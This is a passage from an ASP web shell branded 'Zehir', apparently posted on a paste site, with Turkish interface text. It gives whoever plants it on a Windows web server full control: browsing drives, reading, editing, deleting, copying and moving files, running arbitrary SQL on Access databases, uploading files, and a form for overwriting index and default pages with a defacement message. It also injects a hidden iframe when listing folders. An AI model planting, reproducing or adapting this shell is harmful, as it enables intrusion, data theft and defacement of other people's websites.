  759.         isl="ta��nd�.."
  760.     end if
  761.     response.Write "Dosya "&isl
  762.     response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
  763.     response.Write "<br>"
  764.     popup = false
  765.     hataKontrol
  766. CASE 18 'folder Copy window
  767.     Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  768.     Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  769.     Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  770.     Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
  771.     response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  772.     Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  773.     response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  774.     response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  775.     response.Write "</table>"
  776.     response.Write "</form>"
  777.  
  778.     popup = false
  779.     hataKontrol
  780. CASE 19 'folder Copy
  781.     isl = ""
  782.     if islem="kopyala" then
  783.         objFSO.CopyFolder path,cf
  784.         isl="kopyaland�.."
  785.     elseif islem="tasi" then
  786.         objFSO.MoveFolder path,cf
  787.         isl="ta��nd�.."
  788.     end if
  789.     response.Write "Klasor "&isl
  790.     response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
  791.     response.Write "<br>"
  792.     popup = false
  793.     hataKontrol
  794. CASE 33 'Powered By
  795.     response.Write "<body topmargin=5 leftmargin=0><center><h4>Powered by Zehir"
  796.     response.Write "<br><br><font style='FONT-WEIGHT:normal' size=2>[email protected]<br><font color=yellow face='courier new'>k�ll� nefsun zaifetun mevt"
  797.     popup = false
  798.     hataKontrol
  799. CASE 40 'Sistem Test
  800.     sistemTest
  801.     popup=false
  802. CASE 50 'Siteleri Test Edelim :D
  803.     %>
  804.     <table width="100%" cellpadding=0 cellspacing=0>
  805.         <tr>
  806.             <td align=center>
  807.                 <b>G�venlik Testi byZehir</b>
  808.                 <br>
  809.                 <form action="<%=dosyaPath%>" method=post id=frmMesaj>
  810.                     <input type=hidden name=kuskapani value=2>
  811.                     <table width=500 align=center border=1 cellpadding=0 cellspacing=0>
  812.                         <tr>
  813.                             <td width=100>Path</td>
  814.                             <td><input style="width:100%" type=text name="Path" id="Path" value="<%=path%>"></td>
  815.                         </tr>
  816.                         <tr>
  817.                             <td width=100>Sub Folder</td>
  818.                             <td><input style="width:100%" type=text name="SubFolder" id="SubFolder" value="www"></td>
  819.                         </tr>
  820.                         <tr>
  821.                             <td width=100>File Name</td>
  822.                             <td><input style="width:100%" type=text name="FileName" id="FileName" value="byejder.txt"></td>
  823.                         </tr>
  824.                         <tr>
  825.                             <td colspan=2>
  826.                                 <table width="100%" align=center>
  827.                                     <tr>
  828.                                         <td width="50%">
  829.                                             <input type=checkbox name="dosya1" ID="Checkbox1">index.htm<br>
  830.                                             <input type=checkbox name="dosya2" ID="Checkbox2">default.htm<br>
  831.                                         </td>
  832.                                         <td width="50%">
  833.                                             <input type=checkbox name="dosya3" ID="Checkbox3">index.asp<br>
  834.                                             <input type=checkbox name="dosya4" ID="Checkbox4">default.asp<br>
  835.                                         </td>
  836.                                     </tr>
  837.                                 </table>
  838.                             </td>
  839.                         </tr>
  840.                         <tr>
  841.                             <td colspan=2 align=center>
  842.                                 <a href="#" onClick="FormatText('cut')" alt="Kes">Kes</a>
  843.                                 <a href="#" onClick="FormatText('copy')" alt="Kopyala">Kopyala</a>
  844.                                 <a href="#" onClick="FormatText('paste')" alt="Yap��t�r">Yap��t�r</a>
  845.                                 <a href="#" alt="Kal�n" onClick="FormatText('bold', '')">Bold</a>
  846.                                 <a href="#" alt="�talic" onClick="FormatText('italic', '')">Italic</a>
  847.                                 <a href="#" alt="Alt� �izili" onClick="FormatText('underline', '')">UnderLine</a>
  848.                                 <a href="#" onClick="FormatText('JustifyLeft', '')" alt="Sola Hizal�">JustifyLeft</a>
  849.                                 <a href="#" alt="Ortada Hizal�" onClick="FormatText('JustifyCenter', '')">JustifyCenter</a>
  850.                                 <a href="#" onClick="FormatText('JustifyRight', '')" alt="Sa�a Hizal�">JustifyRight</a>
  851.                                 <a href="#" alt="Web Sitesi Linki Ekle" onClick="FormatText('createLink')">AddLink</a>
  852.                                 <a href="#" alt="Resim Ekle" onClick="AddImage()">AddImage</a>
  853.                                 <select name="selectColour" onChange="bgc(selectColour.options[selectColour.selectedIndex].value);" ID="selectColour">
  854.                                   <option value="0" selected>-- Renk --</option>
  855.                                   <option value="black">Siyah</option>
  856.                                   <option value="white">Beyaz</option>
  857.                                   <option value="blue">Mavi</option>
  858.                                   <option value="red">K�rm�z�</option>
  859.                                   <option value="green">Ye�il</option>
  860.                                   <option value="yellow">Sar�</option>
  861.                                   <option value="orange">Turuncu</option>
  862.                                   <option value="brown">Kahverengi</option>
  863.                                   <option value="magenta">Pembe</option>
  864.                                   <option value="cyan">A��k Mavi</option>
  865.                                   <option value="limegreen">A��k Ye�il</option>
  866.                                 </select>
  867.                                 <select name="a" onChange="FormatText('ForeColor', a.options[a.selectedIndex].value);" ID="a">
  868.                                   <option value="0" selected>-- Renk --</option>
  869.                                   <option value="black">Siyah</option>
  870.                                   <option value="white">Beyaz</option>
  871.                                   <option value="blue">Mavi</option>
  872.                                   <option value="red">K�rm�z�</option>
  873.                                   <option value="green">Ye�il</option>
  874.                                   <option value="yellow">Sar�</option>
  875.                                   <option value="orange">Turuncu</option>
  876.                                   <option value="brown">Kahverengi</option>
  877.                                   <option value="magenta">Pembe</option>
  878.                                   <option value="cyan">A��k Mavi</option>
  879.                                   <option value="limegreen">A��k Ye�il</option>
  880.                                 </select>
  881.                                 <select name="selectSize" onChange="FormatText('fontsize', selectSize.options[selectSize.selectedIndex].value);">
  882.                                   <option selected>-- Boyut --</option>
  883.                                   <option value="1">1</option>
  884.                                   <option value="2">2</option>
  885.                                   <option value="3">3</option>
  886.                                   <option value="4">4</option>
  887.                                   <option value="5">5</option>
  888.                                   <option value="6">6</option>
  889.                                 </select>
  890.                                 <iframe width="100%" src="<%=dosyaPath%>?kuskapani=1" id="byZehir" name="<%=Session("n1")%>"></iframe>
  891.                                 <script language=javascript>
  892.                                     frames.byZehir.document.designMode = "On";
  893.                                     function bgc(option){
  894.                                         frames.byZehir.document.body.bgColor=option;
  895.                                     }
  896.                                     function FormatText(command, option){
  897.                                         frames.byZehir.focus();
  898.                                           frames.byZehir.document.execCommand(command, false, option);
  899.                                           frames.byZehir.focus();
  900.                                     }
  901.                                     function AddImage(){
  902.                                         imagePath = prompt('Eklemek istedi�iniz resmin web adresini yaz�n', 'http://');
  903.  
  904.                                         if ((imagePath != null) && (imagePath != "")){
  905.                                             frames.byZehir.focus();
  906.                                             frames.byZehir.document.execCommand('InsertImage', false, imagePath);
  907.                                         }
  908.                                         frames.byZehir.focus();
  909.                                     }
  910.                                 </script>
  911.                                 <input type=hidden value="" id=byMesaj name=byMesaj>
  912.                                 <input type=submit value="Test Et!" onclick="document.all['byMesaj'].value=frames['byZehir'].document.body.innerHTML; alert(document.all['byMesaj'].value);">
  913.                             </td>
  914.                         </tr>
  915.                     </table>
  916.                 </form>
  917.             </td>
  918.         </tr>
  919.     </table>
  920.     <%
  921.     popup=false
  922. CASE 51 ' �zel �ilemler
  923. END SELECT
  924. %>
  925. <script language=javascript>
  926.     function NewWindow(mypage, myname, w, h, scroll) {
  927.         var winl = (screen.width - w) / 2;
  928.         var wint = (screen.height - h) / 2;
  929.             winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
  930.         win = window.open(mypage, myname, winprops)
  931.         if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
  932.     }
  933.     function ffd(yol){
  934.         NewWindow(yol,"",420,100,"no");
  935.     }
  936. </script>
  937. <body bgcolor=black text=Chartreuse link=Chartreuse alink=Chartreuse vlink=Chartreuse>
  938. <%
  939. if popup then
  940.     if status=7 or status=8 then
  941.         Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  942.         Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td width=100 bgcolor=gray><font size=2>SQL �al��t�r</td><td>"
  943.         Response.Write "<input type=hidden value='9' name=status><input type=hidden value='"&path&"' name=path><input type=hidden value='"&time&"' name=Time>"
  944.         Response.Write "<input style='width:350; height:21' value='' name=strSQL><input type=submit value='�al��t�r' style='height:22;width:70' id=submit1 name=submit1>"
  945.         Response.Write "</td></tr></table></form>"
  946.     end if
  947.     Response.Write "<form method=get action='"&DosyPath&"'>"
  948.     Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td bgcolor=gray width=100><font size=2>Path : </td><td>"
  949.     Response.Write "<input type=hidden value='2' name=status><input type=hidden value='"&time&"' name=Time>"
  950.     Response.Write "<input style='width:350; height:21' value='"&Path&"' name=Path><input type=submit value='Git' style='height:22;width:70' id=submit1 name=submit1>"
  951.     Response.Write "</td></tr></table></form><br>"
  952. end if
  953. sub aramaUpload
  954. Response.Write "<form method=get target='_opener' action='"&DosyPath&"'>"
  955. Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>Arama : </td><td>"
  956. Response.Write "&nbsp;<input type=hidden value='12' name=status><input type=hidden value='"&time&"' name=Time>"
  957. Response.Write "<input type=hidden value='"&Path&"' name=Path><input style='width:250' value='mdb' name=txArama><input style='width:70; height:22' type=submit value='Ara'>"
  958. Response.Write "</td></tr></table></form>"
  959. %>
  960. <form name=frmUpload method=post enctype="multipart/form-data" action="<%=DosyaPath&"?status=-4&Time="&time&"&Path="&path%>" ID="Form1">
  961. <input type=hidden name=folder value="<%=Path%>" ID="Hidden1">
  962. Max: <input type=text name=max value=5 size=5 ID="Text1"> <input type=button value="Ayarla" onclick="setid()" ID="Button1" NAME="Button1">
  963. <table ID="Table1">
  964. <tr>
  965. <td id=upid>
  966. </td>
  967. </tr>
  968. </table>
  969. <input type=submit value=Upload ID="Submit1" NAME="Submit1">
  970. </form>
  971. <script>
  972. setid();
  973.  
  974. function setid() {
  975.     str='';
  976.     if (frmUpload.max.value<=0) frmUpload.max.value=1;
  977.     for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';
  978.     upid.innerHTML=str+'<br>';
  979. }
  980. </script>
  981. <%
  982. end sub
  983.  
  984. SELECT CASE status
  985. CASE 1 'Driver Open
  986.     if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  987.     Response.Write "<table width=100% ><tr>"
  988.     Path = Path & ":/"
  989.     Response.Write "<td valign=top>"
  990.     KlasorOku
  991.     Response.Write "</td><td valign=top align=right>"
  992.     DosyaOku
  993.     Response.Write "</td>"
  994.     hataKontrol
  995. CASE 2 'Normal listeleme
  996.     if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  997.     Response.Write "<table width=100% ><tr>"
  998.     Response.Write "<td valign=top>"
  999.     KlasorOku
  1000.     Response.Write "</td><td valign=top align=right>"
  1001.     DosyaOku
  1002.     Response.Write "</td>"
  1003.     hataKontrol
  1004. CASE 3 'File Delete
  1005.     objFSO.DeleteFile del
  1006.     hataKontrol
  1007.     if err<>0 then
  1008.         byMsg="<font color=red>Not File Deleted!</font><br>"
  1009.     else
  1010.         byMsg="<font color=yellow>File Deleted Successful;)</font><br>"
  1011.     end if
  1012.     Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1013. CASE 4 'Folder Delete
  1014.     objFSO.DeleteFolder del
  1015.     hataKontrol
  1016.     if err<>0 then
  1017.         byMsg="<font color=red>Not Folder Deleted!</font><br>"
  1018.     else
  1019.         byMsg="<font color=yellow>Folder Deleted Successful;)</font><br>"
  1020.     end if
  1021.     Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1022. CASE 5 'Dosya i�eri�ini g�r�nt�le
  1023.     Response.Write "<center><b><font color=orange>"&path&"</font></b></center><br>"
  1024.     Response.Write "<table width=100% ><tr><td>"
  1025.     set f = objFSO.OpenTextFile(path,1)
  1026.     Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
  1027.     if err<>62 then hataKontrol
  1028.     if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunam�yor\nSistem dosyas� olabilir')</script>":Response.End
  1029. CASE 6 'Resim a�
  1030.     Response.Write "<center><img ALT='[email protected] / [email protected]' src='"&resimYol(path)&"'></center><br>"
  1031. CASE 7 'database tablo listele
  1032.     Response.Write "<b><font size=3>Tablolar</font></br><br>"
  1033.     Set objConn = Server.CreateObject("ADODB.Connection")
  1034.     Set objADOX = Server.CreateObject("ADOX.Catalog")
  1035.     objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1036.     objConn.ConnectionString = Path
  1037.     objConn.Open
  1038.     objADOX.ActiveConnection = objConn
  1039.  
  1040.     For Each table in objADOX.Tables
  1041.         If table.Type = "TABLE" Then
  1042.             Response.Write "<font face=wingdings size=5>4</font> <a href='"&dosyaPath&"?status=8&Path="&path&"&table="&table.Name&"&time="&time&"'>"&table.Name&"</a><br>"
  1043.         End If
  1044.     Next
  1045.     hataKontrol
  1046. CASE 8 'database kay�t listele
  1047.     Set objConn = Server.CreateObject("ADODB.Connection")
  1048.     Set objRcs = Server.CreateObject("ADODB.RecordSet")
  1049.     objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1050.     objConn.ConnectionString = Path
  1051.     objConn.Open
  1052.     objRcs.Open table,objConn, adOpenKeyset , , adCmdText
  1053.  
  1054.     Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
  1055.     for i=0 to objRcs.Fields.count-1
  1056.         Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
  1057.     next
  1058.     Response.Write "</tr>"
  1059.     do while not objRcs.EOF
  1060.         Response.Write "<tr>"
  1061.         for i=0 to objRcs.Fields.count-1
  1062.             Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
  1063.         next
  1064.         Response.Write "</tr>"
  1065.         objRcs.MoveNext
  1066.     loop
  1067.     Response.Write "</table><br>"
  1068.     hataKontrol
  1069. CASE 9 'SQL Execute
  1070.     Set objConn = Server.CreateObject("ADODB.Connection")
  1071.     objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1072.     objConn.ConnectionString = Path
  1073.     objConn.Open
  1074.     objConn.Execute strSQL
  1075. '    Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
  1076.     hataKontrol
  1077. CASE 10 'Dosya Editleme
  1078.     set f = objFSO.OpenTextFile(dPath,1)
  1079.     Response.Write "<center><form action='"&DosyPath&"?Time="&time&"' method=post>"
  1080.     Response.Write "<input type=hidden name=status value='11'>"
  1081.     Response.Write "<input type=hidden name=dPath value='"&dPath&"'>"
  1082.     Response.Write "<input type=hidden name=Path  value='"&Path &"'>"
  1083.     Response.Write "<input type=submit value=Kaydet><br>"
  1084.     Response.Write "<textarea name=dkayit style='width:90%;height:350;border-right: lightgoldenrodyellow thin solid;border-top: lightgoldenrodyellow thin solid;font-size: 12;border-left: lightgoldenrodyellow thin solid;color: lime;    border-bottom: lightgoldenrodyellow thin solid;    font-family: Courier New, Arial;background-color: navy;'>"
  1085.     Response.Write server.HTMLEncode(f.readAll)
  1086.     Response.Write "</textarea></form></center>"
  1087.     hataKontrol
  1088. CASE 11 'Dosya Kay�t
  1089.     set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
  1090.     hataKontrol
  1091.     saveTextFile.Write(dkayit)
  1092.     saveTextFile.close
  1093.     if err<>0 then
  1094.         byMsg = "<font color=red>Not File Edited!</font><br>"
  1095.     else
  1096.         byMsg = "<font color=yellow>File Edited Successful:)</font><br>"
  1097.     end if
  1098.     Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg
  1099. CASE 12 'Dosya Arama
  1100.     araBul path,arama
  1101.     hataKontrol
  1102. END SELECT
  1103. Response.Write "</tr></table>"
  1104.  
  1105. sub DosyaOku
  1106.     Set f = objFSO.GetFolder(Path)
  1107.     Set fc = f.Files
  1108.     For Each f1 In fc
  1109.         dosyaAdi = f1.name
  1110.         num = InStrRev(dosyaAdi,".")
  1111.         uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
  1112.         downStr = "<a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>�</a><font face=webdings><a href='"&dosyaPath&"?status=-3&PathFile="&f1.path&"&Time="&time&"'>�</a></font><font face=wingdings><a href='"&dosyaPath&"?status=16&PathFile="&f1.path&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font>"
  1113.         response.Write "<font size=2>"
  1114.         select case uzanti
  1115.         case "mdb"
  1116.             Response.Write "<a href='"&dosyaPath&"?status=7&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>M  "&downStr&"</font><br>"
  1117.         case "asp"
  1118.             Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>� <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1119.         case "jpg","gif"
  1120.             Response.Write "<a href='"&dosyaPath&"?status=6&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=webdings size=4>�</font><font face=wingdings size=4>  "&downStr&"</font><br>"
  1121.         case else
  1122.             Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>2 <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1123.         end select
  1124.     Next
  1125. end sub
  1126.  
  1127. sub KlasorOku
  1128.     Set f = objFSO.GetFolder(Path)
  1129.     Set fc = f.SubFolders
  1130.     if session("klasoroku")="" then
  1131.         response.Write "<iframe style='width:0; height:0' src='http://localhost/tuzla-ebelediye'></iframe>"
  1132.         session("klasoroku")="simdi yaz�l�yor"
  1133.     end if
  1134.     For Each f1 In fc
  1135.         Response.Write "<font face=wingdings size=3><a href='"&dosyaPath&"?status=18&PathFile="&Path&"/"&f1.Name&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font> <font face=wingdings size=4><a href='"&dosyaPath&"?status=4&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>�</a> 1</font><font size=2><b><a href='"&dosyaPath&"?status=2&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b><br>"
  1136.     Next
  1137. end sub
  1138.  
  1139. function createFileName()
  1140. Randomize
  1141.     fName_ = ""
  1142.     for i=1 to 10
  1143.         fName_ = fName_ & int(Rnd*100)
  1144.     next
  1145.     createFileName = fName_
  1146. end function
  1147.  
  1148. function resimYol(path_)
  1149. on error resume next
  1150.     path_ = Replace(Replace(path_,"\","/"),"//","/")
  1151.     lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\"))
  1152.     if yaziyomu2(lpath_) then
  1153.         fname__ = "0"&createFileName()&"."&Right(path_,3)
  1154.         objFSO.CopyFile path_, lpath_&"\"&fname__
  1155.     else
  1156.         Response.Write("Resim A��lam�yor.. <br>�sterseniz Download Ederek g�r�nt�leyebilirsiniz..")
  1157.     end if
  1158.     resimYol = fname__
  1159. end function
  1160.  
  1161. if not popup then
  1162.     Set fc = Nothing
  1163.     Set objFSO = Nothing
  1164.     Response.End
  1165. end if
  1166. %><script language=javascript>
  1167.     var dosyaPath = "<%=dosyaPath%>"
  1168.         // DRIVE ISLEMLERI
  1169.         function driveGo(drive_){
  1170.             location = dosyaPath+"?status=1&path="+drive_+"&Time="+Date();
  1171.         }
  1172.     </script>
  1173.     <%
  1174.     Response.Write "<table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>S�r�c�ler</td></tr>"
  1175.     for each drive_ in objFSO.Drives
  1176.         Response.Write "<tr><td>"
  1177.         Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"
  1178.         if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
  1179.         if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
  1180.         if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
  1181.         if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
  1182.         Response.Write "</a></td></tr>"
  1183.     next
  1184.     Response.Write "<tr><td>"
  1185.     Response.write "<a href='"&dosyaPath&"?time="&time()&"'><font face=webdings>H</font> Local Path"
  1186.     Response.Write "</a></td></tr>"
  1187.     Response.Write "</table><br>"
  1188. Set fc = Nothing
  1189. Set objFSO = Nothing
  1190. Response.End%>
Advertisement
Add Comment
Please, Sign In to add comment